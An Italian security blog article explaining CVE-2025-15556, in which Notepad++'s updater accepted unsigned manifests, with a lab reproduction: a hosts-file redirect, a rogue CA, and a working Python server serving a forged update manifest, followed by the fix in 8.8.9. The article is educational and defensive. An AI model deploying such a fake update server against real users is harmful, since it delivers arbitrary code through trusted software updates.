Supply Chain Attack: come è stato compromesso Notepad++ tramite il CVE-2025-15556

Nella cyber security, spesso ci si concentra sulla ricerca di complessi bug nel codice sorgente, ignorando che la fiducia dell’utente finale passa per un elemento molto più semplice: un link di download.

L’incidente che ha colpito Notepad++, ora catalogato come CVE-2025-15556, è un caso da manuale di Supply Chain Attack. Come confermato dal comunicato ufficiale, l’attacco non ha sfruttato una vulnerabilità nel codice dell’editor, ma una compromissione a livello di infrastruttura del provider di hosting che ha permesso di dirottare il traffico verso mirror malevoli.

In questo articolo analizzeremo come attori malevoli siano riusciti a dirottare il traffico legittimo verso mirror compromessi, sfruttando la fiducia riposta nei canali ufficiali. Attraverso una riproduzione in laboratorio, vedremo come un aggiornamento apparentemente innocuo possa trasformarsi nell’esecuzione di codice arbitrario.

La vulnerabilità CVE-2025-15556

La vulnerabilità risiede nel componente GUP (Generic Updater) utilizzato da Notepad++ nelle versioni precedenti alla 8.8.9.

Il meccanismo di aggiornamento non effettuava una validazione crittografica (firma digitale) del file XML del manifesto scaricato tramite HTTPS.

Questo permetteva a un attaccante, in grado di intercettare o dirottare il traffico (Man-in-the-Middle o compromissione del server), di iniettare un URL malevolo nel parametro <Location>, forzando il software a scaricare ed eseguire codice arbitrario.

https://nvd.nist.gov/vuln/detail/CVE-2025-15556

Come è possibile sfruttarla

Per capire come sia stato possibile l’attacco, dobbiamo analizzare il protocollo di aggiornamento di Notepad++. Il software interroga un URL hardcoded che restituisce un manifesto XML tramite una chiamata simile a questa:

https://notepad-plus-plus.org/update/getDownloadUrl.php?version=8.85&param=x64

L’host remoto risponde con un file XML (GUP – Generic Updater Process) contenente le istruzioni per l’aggiornamento:

<GUP>
    <NeedToBeUpdated>yes</NeedToBeUpdated>
    <Version>8.8.8</Version>
    <Location>https://github.com/notepad-plus-plus/releases/download/v8.8.8/npp.8.8.8.Installer.exe</Location>
</GUP>

I parametri critici sono <NeedToBeUpdated>, che forza l’update, e <Location>, che indica dove prelevare l’installer. Nelle versioni vulnerabili, il client non eseguiva controlli crittografici sul file scaricato: se il manifesto diceva “scarica da qui”, il client eseguiva.

I vettori di attacco

Come può un attaccante deviare questo flusso?

Server Compromise: La compromissione diretta dell’host che distribuisce i manifesti. È esattamente ciò che è accaduto a Notepad++, permettendo agli attaccanti di modificare i link di download per tutti gli utenti mondiali.

Local Network Attack: Tramite DNS/ARP Spoofing in una rete locale, un attaccante può far puntare il dominio notepad-plus-plus.org a un proprio server. Tuttavia, questo richiede il superamento del controllo del certificato SSL/TLS (ad esempio installando una CA malevola sulla macchina vittima).

Qui possiamo devedere Notepad rifiutare la conessione avente il certificato non valido.

Sfruttamento della CVE-2025-15556

Per simulare l’attacco, abbiamo configurato un ambiente controllato dove la macchina vittima è forzata a interrogare un server attaccante tramite la modifica del file hosts: C:\Windows\System32\drivers\etc\hosts -> 127.0.0.1 notepad-plus-plus.org

Generazione del certificato

Poiché il client utilizza HTTPS, abbiamo generato un certificato autofirmato per il dominio target.

Lo abbiamo convertito in formato DER

e importato tra le “Autorità di certificazione attendibili” della vittima per bypassare gli avvisi di sicurezza.

Abbiamo creato uno script in Python per simulare l’endpoint compromesso. Lo script resta in ascolto sulla porta 443 e serve un manifesto XML manipolato che punta a un file arbitrario (nel nostro esempio, l’installer di PuTTY, ma potrebbe essere un malware).

from quart import Quart, Response, send_file
from hypercorn.config import Config
from hypercorn.asyncio import serve
import asyncio

app = Quart(__name__)

version = 'HACKED VERSION'
location = 'https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe'

XML_CONTENT = f'<GUP><NeedToBeUpdated>yes</NeedToBeUpdated><Version>{version}</Version><Location>{location}</Location></GUP>'

@app.route('/update/getDownloadUrl.php', methods=['GET'])
async def update_check():

    resp = Response(XML_CONTENT)
    resp.headers['Server'] = 'Apache'
    resp.headers['Content-Type'] = 'application/xml; charset=utf-8'
    
    return resp

if __name__ == '__main__':

    config = Config()
    config.bind = ["0.0.0.0:443"]
    config.certfile = "cert.pem"
    config.keyfile = "key.pem"

    asyncio.run(serve(app, config))

Quando l’utente avvia Notepad++ e cerca aggiornamenti, il software scaricherà ed eseguirà automaticamente il file indicato nel parametro MALICIOUS_LOCATION.

Qui inizio del download del file e infine esecuzione (dopo che Notepad viene chiuso).

Cosa cambia dalla versione 8.8.9?

A seguito della segnalazione, gli sviluppatori hanno introdotto una difesa fondamentale: la validazione della firma digitale all’interno del processo di aggiornamento.

Ora, il manifesto non contiene solo l’URL, ma anche metadati di sicurezza. Il client Notepad++ verifica che l’eseguibile scaricato sia firmato digitalmente dal certificato ufficiale del progetto.

Se la firma non corrisponde o è assente, l’esecuzione viene interrotta immediatamente, neutralizzando così l’efficacia di un server compromesso.

Infatti se ora proviamo dalla versione 8.8.9 e il manifesto “non è integro” Notepad++ non intraprende nessuna azione dopo la richiesta di aggiornamento.

Conclusione

Il caso Notepad++ insegna che la sicurezza non finisce con la scrittura di codice sicuro.

La protezione della distribuzione è altrettanto critica. Implementare controlli di integrità e firme digitali non è più un “optional” per software di larga scala, ma una necessità per prevenire attacchi che sfruttano il legame più debole della catena: la fiducia dell’utente nel tasto “Aggiorna”.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Manuel Roccon

Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.

Aree di competenza: Ethical Hacking, Bug Hunting, Penetration Testing, Red Teaming, Security Research, Cybersecurity Communication